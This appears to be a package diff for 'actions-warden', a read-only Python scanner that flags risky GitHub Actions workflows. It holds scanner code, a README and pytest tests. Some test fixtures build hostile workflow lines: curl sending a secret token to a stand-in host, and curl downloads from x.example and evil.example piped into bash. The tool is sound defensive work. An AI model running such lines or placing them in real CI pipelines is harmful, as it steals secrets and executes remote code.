match = re.search(pattern, text, re.IGNORECASE)
|
|
230
|
+
if not match:
|
|
231
|
+
return None
|
|
232
|
+
snippets.append(_defang(match.group(0).strip()))
|
|
233
|
+
return " + ".join(snippets)
|
|
234
|
+
|
|
235
|
+
|
|
236
|
+
def _scan_unpinned(rule, file_path, lines, findings):
|
|
237
|
+
for index, line in enumerate(lines):
|
|
238
|
+
match = _USES_RE.search(line)
|
|
239
|
+
if not match:
|
|
240
|
+
continue
|
|
241
|
+
ref_path, ref = match.group(1), match.group(2)
|
|
242
|
+
if ref_path.startswith("./") or ref_path.startswith("docker://"):
|
|
243
|
+
continue
|
|
244
|
+
if "/" not in ref_path:
|
|
245
|
+
continue
|
|
246
|
+
if _SHA_RE.match(ref):
|
|
247
|
+
continue
|
|
248
|
+
findings.append(
|
|
249
|
+
_finding(rule["severity"], rule["type"], file_path,
|
|
250
|
+
f"{rule['description']} Rule: {rule['id']}.",
|
|
251
|
+
_defang(f"uses: {ref_path}@{ref}"), index + 1)
|
|
252
|
+
)
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
def _iter_workflow_files(root):
|
|
256
|
+
if os.path.isfile(root):
|
|
257
|
+
if _looks_like_workflow_path(root) or root.lower().endswith((".yml", ".yaml")):
|
|
258
|
+
yield root
|
|
259
|
+
return
|
|
260
|
+
|
|
261
|
+
stack = [root]
|
|
262
|
+
while stack:
|
|
263
|
+
current = stack.pop()
|
|
264
|
+
try:
|
|
265
|
+
entries = list(os.scandir(current))
|
|
266
|
+
except OSError:
|
|
267
|
+
continue
|
|
268
|
+
for entry in entries:
|
|
269
|
+
try:
|
|
270
|
+
if entry.is_dir(follow_symlinks=False):
|
|
271
|
+
if entry.name not in SKIP_DIRS:
|
|
272
|
+
stack.append(entry.path)
|
|
273
|
+
elif entry.is_file(follow_symlinks=False) and _looks_like_workflow_path(entry.path):
|
|
274
|
+
yield entry.path
|
|
275
|
+
except OSError:
|
|
276
|
+
continue
|
|
277
|
+
|
|
278
|
+
|
|
279
|
+
def _looks_like_workflow_path(path):
|
|
280
|
+
norm = path.replace("\\", "/")
|
|
281
|
+
base = os.path.basename(norm).lower()
|
|
282
|
+
if base in ("action.yml", "action.yaml"):
|
|
283
|
+
return True
|
|
284
|
+
if "/.github/workflows/" in norm and base.endswith((".yml", ".yaml")):
|
|
285
|
+
return True
|
|
286
|
+
return False
|
|
287
|
+
|
|
288
|
+
|
|
289
|
+
def _safe_size(file_path):
|
|
290
|
+
try:
|
|
291
|
+
return os.stat(file_path).st_size
|
|
292
|
+
except OSError:
|
|
293
|
+
return None
|
|
294
|
+
|
|
295
|
+
|
|
296
|
+
def _read_text(file_path):
|
|
297
|
+
try:
|
|
298
|
+
with open(file_path, "r", encoding="utf-8") as handle:
|
|
299
|
+
return handle.read()
|
|
300
|
+
except (OSError, UnicodeDecodeError):
|
|
301
|
+
return None
|
|
302
|
+
|
|
303
|
+
|
|
304
|
+
def _defang(text):
|
|
305
|
+
text = str(text)
|
|
306
|
+
text = re.sub(r"https?://", lambda m: m.group(0).replace("http", "hxxp"), text, flags=re.IGNORECASE)
|
|
307
|
+
if len(text) > 140:
|
|
308
|
+
text = text[:137] + "..."
|
|
309
|
+
return text
|
|
310
|
+
|
|
311
|
+
|
|
312
|
+
def _finding(severity, type_, path, message, evidence="", line=None):
|
|
313
|
+
return {
|
|
314
|
+
"severity": severity,
|
|
315
|
+
"type": type_,
|
|
316
|
+
"path": path,
|
|
317
|
+
"line": line,
|
|
318
|
+
"message": message,
|
|
319
|
+
"evidence": evidence,
|
|
320
|
+
}
|
|
321
|
+
|
|
322
|
+
|
|
323
|
+
def _dedupe_findings(findings):
|
|
324
|
+
seen = set()
|
|
325
|
+
result = []
|
|
326
|
+
for item in findings:
|
|
327
|
+
key = (item["severity"], item["type"], item["path"], item["line"],
|
|
328
|
+
item["message"], item["evidence"])
|
|
329
|
+
if key in seen:
|
|
330
|
+
continue
|
|
331
|
+
seen.add(key)
|
|
332
|
+
result.append(item)
|
|
333
|
+
return result
|
|
334
|
+
|
|
335
|
+
|
|
336
|
+
def _risk_level(findings):
|
|
337
|
+
if any(item["severity"] in ("critical", "high") for item in findings):
|
|
338
|
+
return "blocked"
|
|
339
|
+
if any(item["severity"] in ("medium", "low") for item in findings):
|
|
340
|
+
return "review-needed"
|
|
341
|
+
return "no-known-indicators"
|
|
342
|
+
|
|
343
|
+
|
|
344
|
+
def _guidance_for_risk(risk):
|
|
345
|
+
if risk == "blocked":
|
|
346
|
+
return [
|
|
347
|
+
"Do not merge or re-enable these workflows until each finding is explained.",
|
|
348
|
+
"If a workflow was added or changed unexpectedly, treat it as possible token-theft tampering and rotate affected PATs/secrets.",
|
|
349
|
+
"Pin third-party actions to full commit SHAs and scope GITHUB_TOKEN permissions to least privilege.",
|
|
350
|
+
"Never interpolate attacker-controllable input directly into run steps; pass it through an intermediate env var.",
|
|
351
|
+
]
|
|
352
|
+
if risk == "review-needed":
|
|
353
|
+
return [
|
|
354
|
+
"Review medium/low findings before trusting this pipeline.",
|
|
355
|
+
"Pin actions to commit SHAs and confirm self-hosted-runner and permission scopes are intended.",
|
|
356
|
+
]
|
|
357
|
+
return [
|
|
358
|
+
"No blocking workflow risks were found by this scanner.",
|
|
359
|
+
"This is a narrow CI/CD config scanner, not proof the pipeline is safe.",
|
|
360
|
+
]
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: actions-warden
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Read-only auditor for risky or injected GitHub Actions workflow config
|
|
5
|
+
Author: Dragon Lady
|
|
6
|
+
License: MIT License
|
|
7
|
+
|
|
8
|
+
Copyright (c) 2026 Dragon-Lady
|
|
9
|
+
|
|
10
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
11
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
12
|
+
in the Software without restriction, including without limitation the rights
|
|
13
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
14
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
15
|
+
furnished to do so, subject to the following conditions:
|
|
16
|
+
|
|
17
|
+
The above copyright notice and this permission notice shall be included in all
|
|
18
|
+
copies or substantial portions of the Software.
|
|
19
|
+
|
|
20
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
21
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
22
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
23
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
24
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
25
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
26
|
+
SOFTWARE.
|
|
27
|
+
|
|
28
|
+
Project-URL: Homepage, https://github.com/Dragon-Lady/actions-warden
|
|
29
|
+
Project-URL: Repository, https://github.com/Dragon-Lady/actions-warden
|
|
30
|
+
Project-URL: Issues, https://github.com/Dragon-Lady/actions-warden/issues
|
|
31
|
+
Keywords: security,github-actions,ci-cd,workflow,supply-chain,scanner,devsecops
|
|
32
|
+
Classifier: Development Status :: 3 - Alpha
|
|
33
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
34
|
+
Classifier: Programming Language :: Python :: 3
|
|
35
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
36
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
37
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
38
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
39
|
+
Classifier: Topic :: Security
|
|
40
|
+
Classifier: Intended Audience :: Developers
|
|
41
|
+
Classifier: Intended Audience :: System Administrators
|
|
42
|
+
Classifier: Operating System :: OS Independent
|
|
43
|
+
Requires-Python: >=3.9
|
|
44
|
+
Description-Content-Type: text/markdown
|
|
45
|
+
License-File: LICENSE
|
|
46
|
+
Provides-Extra: dev
|
|
47
|
+
Requires-Dist: pytest<10,>=8; extra == "dev"
|
|
48
|
+
Dynamic: license-file
|
|
49
|
+
|
|
50
|
+
# Actions Warden
|
|
51
|
+
|
|
52
|
+
Read-only auditor for risky or injected GitHub Actions workflow config.
|
|
53
|
+
|
|
54
|
+
After the 2026 wave of repository-theft attacks, a common post-compromise move
|
|
55
|
+
is: steal a token, then inject or tamper with a repo's `.github/workflows/` so
|
|
56
|
+
CI exfiltrates secrets or runs attacker code. Actions Warden scans those workflow
|
|
57
|
+
files for the patterns that enable it.
|
|
58
|
+
|
|
59
|
+
It does not execute workflows, contact GitHub, modify files, or prove a pipeline
|
|
60
|
+
is safe.
|
|
61
|
+
|
|
62
|
+
## Install
|
|
63
|
+
|
|
64
|
+
```sh
|
|
65
|
+
pipx install actions-warden
|
|
66
|
+
# or
|
|
67
|
+
pip install actions-warden
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
Python 3.9+. No runtime dependencies.
|
|
71
|
+
|
|
72
|
+
## Usage
|
|
73
|
+
|
|
74
|
+
```sh
|
|
75
|
+
actions-warden /path/to/repo
|
|
76
|
+
actions-warden /path/to/repo --json
|
|
77
|
+
actions-warden /path/to/repo --report report.json
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
It scans `.github/workflows/*.yml|*.yaml` and composite `action.yml|action.yaml`
|
|
81
|
+
files. You can also point it at a single workflow file.
|
|
82
|
+
|
|
83
|
+
Exit codes:
|
|
84
|
+
|
|
85
|
+
- `0`: no blocking workflow risks found
|
|
86
|
+
- `1`: usage or runtime error
|
|
87
|
+
- `2`: blocking workflow risks found (suitable as a CI gate)
|
|
88
|
+
|
|
89
|
+
## What It Flags
|
|
90
|
+
|
|
91
|
+
| Rule | Severity | What it catches |
|
|
92
|
+
|------|----------|-----------------|
|
|
93
|
+
| `secret-exfiltration` | critical | a secret reference alongside an outbound network command |
|
|
94
|
+
| `untrusted-input-injection` | high | attacker-controllable `github.event.*` / `head_ref` interpolated into the workflow (shell injection in run steps) |
|
|
95
|
+
| `remote-code-in-run` | high | a downloaded script piped straight into a shell |
|
|
96
|
+
| `pull-request-target-head-checkout` | high | `pull_request_target` running with secrets while checking out PR-controlled code ("pwn request") |
|
|
97
|
+
| `self-hosted-on-untrusted` | medium | self-hosted runner reachable by external pull requests |
|
|
98
|
+
| `permissions-write-all` | medium | `write-all` token permissions |
|
|
99
|
+
| `oidc-with-write` | medium | OIDC `id-token: write` combined with `contents: write` |
|
|
100
|
+
| `unpinned-action` | low | third-party action pinned to a mutable tag/branch instead of a commit SHA |
|
|
101
|
+
|
|
102
|
+
The rules are conservative. A finding means "review this workflow," not "this
|
|
103
|
+
repo is compromised."
|
|
104
|
+
|
|
105
|
+
## Why text-based, not YAML-parsed
|
|
106
|
+
|
|
107
|
+
A hostile workflow can be written to parse in surprising ways. Actions Warden
|
|
108
|
+
inspects what is actually on disk rather than a parser's normalized view, and
|
|
109
|
+
stays dependency-free. The tradeoff is coarser context: some `file_all` rules
|
|
110
|
+
flag co-occurrence within a file rather than within a single job.
|
|
111
|
+
|
|
112
|
+
## Scope Limits
|
|
113
|
+
|
|
114
|
+
This is a narrow CI/CD config scanner. It does not scan dependencies or packages
|
|
115
|
+
(see a dependency/supply-chain scanner for that), does not resolve reusable or
|
|
116
|
+
remote workflows, and will not catch every possible injection or obfuscated
|
|
117
|
+
payload.
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
LICENSE
|
|
2
|
+
README.md
|
|
3
|
+
pyproject.toml
|
|
4
|
+
src/actions_warden/__init__.py
|
|
5
|
+
src/actions_warden/__main__.py
|
|
6
|
+
src/actions_warden/cli.py
|
|
7
|
+
src/actions_warden/scanner.py
|
|
8
|
+
src/actions_warden.egg-info/PKG-INFO
|
|
9
|
+
src/actions_warden.egg-info/SOURCES.txt
|
|
10
|
+
src/actions_warden.egg-info/dependency_links.txt
|
|
11
|
+
src/actions_warden.egg-info/entry_points.txt
|
|
12
|
+
src/actions_warden.egg-info/requires.txt
|
|
13
|
+
src/actions_warden.egg-info/top_level.txt
|
|
14
|
+
tests/test_cli.py
|
|
15
|
+
tests/test_scanner.py
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
actions_warden
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
import json
|
|
2
|
+
|
|
3
|
+
from actions_warden.cli import main
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
def join_parts(*parts):
|
|
7
|
+
return "".join(parts)
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def write_workflow(root, name, body):
|
|
11
|
+
wf_dir = root / ".github" / "workflows"
|
|
12
|
+
wf_dir.mkdir(parents=True, exist_ok=True)
|
|
13
|
+
(wf_dir / name).write_text(body)
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def test_clean_target_exits_zero(tmp_path, capsys):
|
|
17
|
+
write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n")
|
|
18
|
+
assert main([str(tmp_path)]) == 0
|
|
19
|
+
assert "No blocking workflow risks" in capsys.readouterr().out
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def test_blocked_target_exits_two(tmp_path, capsys):
|
|
23
|
+
sh = join_parts("ba", "sh")
|
|
24
|
+
curl = join_parts("cur", "l")
|
|
25
|
+
write_workflow(tmp_path, "rce.yml", f"on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: {curl} https://x.example | {sh}\n")
|
|
26
|
+
assert main([str(tmp_path)]) == 2
|
|
27
|
+
assert "STOP" in capsys.readouterr().out
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def test_json_output_parses(tmp_path, capsys):
|
|
31
|
+
write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n")
|
|
32
|
+
assert main([str(tmp_path), "--json"]) == 0
|
|
33
|
+
report = json.loads(capsys.readouterr().out)
|
|
34
|
+
assert report["tool"] == "actions-warden"
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
def test_report_file_written(tmp_path):
|
|
38
|
+
write_workflow(tmp_path, "ci.yml", "on: push\njobs:\n t:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n")
|
|
39
|
+
report_path = tmp_path / "out" / "report.json"
|
|
40
|
+
report_path.parent.mkdir()
|
|
41
|
+
assert main([str(tmp_path), f"--report={report_path}"]) == 0
|
|
42
|
+
report = json.loads(report_path.read_text())
|
|
43
|
+
assert report["tool"] == "actions-warden"
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def test_unknown_argument_exits_one(capsys):
|
|
47
|
+
assert main(["--bogus"]) == 1
|
|
48
|
+
assert "Unknown argument" in capsys.readouterr().err
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
def test_report_without_path_exits_one(capsys):
|
|
52
|
+
assert main(["--report"]) == 1
|
|
53
|
+
assert "requires a file path" in capsys.readouterr().err
|
|
54
|
+
|
|
55
|
+
|
|
56
|
+
def test_help_exits_zero(capsys):
|
|
57
|
+
assert main(["--help"]) == 0
|
|
58
|
+
assert "Exit codes" in capsys.readouterr().out
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
"""Scanner rule tests.
|
|
2
|
+
|
|
3
|
+
Command-family markers are assembled split (join_parts) so this repo never
|
|
4
|
+
ships a copy-paste-ready exfiltration or remote-exec one-liner.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from actions_warden.scanner import scan_target
|
|
8
|
+
|
|
9
|
+
|
|
10
|
+
def join_parts(*parts):
|
|
11
|
+
return "".join(parts)
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
def write_workflow(root, name, body):
|
|
15
|
+
wf_dir = root / ".github" / "workflows"
|
|
16
|
+
wf_dir.mkdir(parents=True, exist_ok=True)
|
|
17
|
+
(wf_dir / name).write_text(body)
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
PINNED_SHA = "a" * 40
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def test_clean_workflow_has_no_findings(tmp_path):
|
|
24
|
+
write_workflow(tmp_path, "ci.yml", f"""
|
|
25
|
+
name: CI
|
|
26
|
+
on: push
|
|
27
|
+
jobs:
|
|
28
|
+
test:
|
|
29
|
+
runs-on: ubuntu-latest
|
|
30
|
+
steps:
|
|
31
|
+
- uses: actions/checkout@{PINNED_SHA}
|
|
32
|
+
- run: echo hello
|
|
33
|
+
""")
|
|
34
|
+
report = scan_target(str(tmp_path))
|
|
35
|
+
assert report["risk"] == "no-known-indicators"
|
|
36
|
+
assert report["findings"] == []
|
|
37
|
+
|
|
38
|
+
|
|
39
|
+
def test_secret_exfiltration_is_critical(tmp_path):
|
|
40
|
+
curl = join_parts("cur", "l")
|
|
41
|
+
write_workflow(tmp_path, "leak.yml", f"""
|
|
42
|
+
on: push
|
|
43
|
+
jobs:
|
|
44
|
+
go:
|
|
45
|
+
runs-on: ubuntu-latest
|
|
46
|
+
steps:
|
|
47
|
+
- run: {curl} -d "@-" https://x.example/c -H "x: ${{{{ secrets.TOKEN }}}}"
|
|
48
|
+
""")
|
|
49
|
+
report = scan_target(str(tmp_path))
|
|
50
|
+
assert report["risk"] == "blocked"
|
|
51
|
+
assert any(f["type"] == "workflow-secret-exfiltration" for f in report["findings"])
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
def test_script_injection_is_blocked_with_line(tmp_path):
|
|
55
|
+
write_workflow(tmp_path, "inject.yml", """
|
|
56
|
+
on: issues
|
|
57
|
+
jobs:
|
|
58
|
+
go:
|
|
59
|
+
runs-on: ubuntu-latest
|
|
60
|
+
steps:
|
|
61
|
+
- run: echo "${{ github.event.issue.title }}"
|
|
62
|
+
""")
|
|
63
|
+
report = scan_target(str(tmp_path))
|
|
64
|
+
assert report["risk"] == "blocked"
|
|
65
|
+
hit = next(f for f in report["findings"] if f["type"] == "workflow-script-injection")
|
|
66
|
+
assert hit["line"] is not None
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
def test_remote_code_pipe_to_shell_is_blocked(tmp_path):
|
|
70
|
+
curl = join_parts("cur", "l")
|
|
71
|
+
sh = join_parts("ba", "sh")
|
|
72
|
+
write_workflow(tmp_path, "rce.yml", f"""
|
|
73
|
+
on: push
|
|
74
|
+
jobs:
|
|
75
|
+
go:
|
|
76
|
+
runs-on: ubuntu-latest
|
|
77
|
+
steps:
|
|
78
|
+
- run: {curl} -fsSL https://x.example/i.sh | {sh}
|
|
79
|
+
""")
|
|
80
|
+
report = scan_target(str(tmp_path))
|
|
81
|
+
assert report["risk"] == "blocked"
|
|
82
|
+
assert any(f["type"] == "workflow-remote-code-exec" for f in report["findings"])
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def test_pull_request_target_head_checkout_is_blocked(tmp_path):
|
|
86
|
+
write_workflow(tmp_path, "prt.yml", f"""
|
|
87
|
+
on: pull_request_target
|
|
88
|
+
jobs:
|
|
89
|
+
go:
|
|
90
|
+
runs-on: ubuntu-latest
|
|
91
|
+
steps:
|
|
92
|
+
- uses: actions/checkout@{PINNED_SHA}
|
|
93
|
+
with:
|
|
94
|
+
ref: ${{{{ github.event.pull_request.head.sha }}}}
|
|
95
|
+
""")
|
|
96
|
+
report = scan_target(str(tmp_path))
|
|
97
|
+
assert report["risk"] == "blocked"
|
|
98
|
+
assert any(f["type"] == "workflow-pwn-request" for f in report["findings"])
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def test_self_hosted_on_pull_request_is_review(tmp_path):
|
|
102
|
+
write_workflow(tmp_path, "sh.yml", f"""
|
|
103
|
+
on:
|
|
104
|
+
pull_request:
|
|
105
|
+
jobs:
|
|
106
|
+
go:
|
|
107
|
+
runs-on: self-hosted
|
|
108
|
+
steps:
|
|
109
|
+
- uses: actions/checkout@{PINNED_SHA}
|
|
110
|
+
""")
|
|
111
|
+
report = scan_target(str(tmp_path))
|
|
112
|
+
assert report["risk"] == "review-needed"
|
|
113
|
+
assert any(f["type"] == "workflow-self-hosted-untrusted" for f in report["findings"])
|
|
114
|
+
|
|
115
|
+
|
|
116
|
+
def test_permissions_write_all_is_review(tmp_path):
|
|
117
|
+
write_workflow(tmp_path, "perm.yml", """
|
|
118
|
+
on: push
|
|
119
|
+
permissions: write-all
|
|
120
|
+
jobs:
|
|
121
|
+
go:
|
|
122
|
+
runs-on: ubuntu-latest
|
|
123
|
+
steps:
|
|
124
|
+
- run: echo hi
|
|
125
|
+
""")
|
|
126
|
+
report = scan_target(str(tmp_path))
|
|
127
|
+
assert report["risk"] == "review-needed"
|
|
128
|
+
assert any(f["type"] == "workflow-broad-permissions" for f in report["findings"])
|
|
129
|
+
|
|
130
|
+
|
|
131
|
+
def test_oidc_with_write_is_review(tmp_path):
|
|
132
|
+
write_workflow(tmp_path, "oidc.yml", """
|
|
133
|
+
on: push
|
|
134
|
+
permissions:
|
|
135
|
+
id-token: write
|
|
136
|
+
contents: write
|
|
137
|
+
jobs:
|
|
138
|
+
go:
|
|
139
|
+
runs-on: ubuntu-latest
|
|
140
|
+
steps:
|
|
141
|
+
- run: echo hi
|
|
142
|
+
""")
|
|
143
|
+
report = scan_target(str(tmp_path))
|
|
144
|
+
assert report["risk"] == "review-needed"
|
|
145
|
+
assert any(f["type"] == "workflow-oidc-write" for f in report["findings"])
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
def test_unpinned_action_is_low_review(tmp_path):
|
|
149
|
+
write_workflow(tmp_path, "pin.yml", """
|
|
150
|
+
on: push
|
|
151
|
+
jobs:
|
|
152
|
+
go:
|
|
153
|
+
runs-on: ubuntu-latest
|
|
154
|
+
steps:
|
|
155
|
+
- uses: some-org/some-action@v2
|
|
156
|
+
""")
|
|
157
|
+
report = scan_target(str(tmp_path))
|
|
158
|
+
assert report["risk"] == "review-needed"
|
|
159
|
+
hit = next(f for f in report["findings"] if f["type"] == "workflow-unpinned-action")
|
|
160
|
+
assert hit["severity"] == "low"
|
|
161
|
+
|
|
162
|
+
|
|
163
|
+
def test_non_workflow_yaml_is_ignored(tmp_path):
|
|
164
|
+
curl = join_parts("cur", "l")
|
|
165
|
+
(tmp_path / "config.yaml").write_text(
|
|
166
|
+
f"run: {curl} https://x.example | sh\nkey: ${{{{ secrets.TOKEN }}}}\n"
|
|
167
|
+
)
|
|
168
|
+
report = scan_target(str(tmp_path))
|
|
169
|
+
assert report["risk"] == "no-known-indicators"
|
|
170
|
+
assert report["summary"]["filesScanned"] == 0
|
|
171
|
+
|
|
172
|
+
|
|
173
|
+
def test_evidence_urls_are_defanged(tmp_path):
|
|
174
|
+
curl = join_parts("cur", "l")
|
|
175
|
+
sh = join_parts("ba", "sh")
|
|
176
|
+
write_workflow(tmp_path, "rce.yml", f"""
|
|
177
|
+
on: push
|
|
178
|
+
jobs:
|
|
179
|
+
go:
|
|
180
|
+
runs-on: ubuntu-latest
|
|
181
|
+
steps:
|
|
182
|
+
- run: {curl} https://evil.example/i.sh | {sh}
|
|
183
|
+
""")
|
|
184
|
+
report = scan_target(str(tmp_path))
|
|
185
|
+
hit = next(f for f in report["findings"] if f["type"] == "workflow-remote-code-exec")
|
|
186
|
+
assert "hxxps://" in hit["evidence"]
|
|
187
|
+
assert "https://" not in hit["evidence"]
|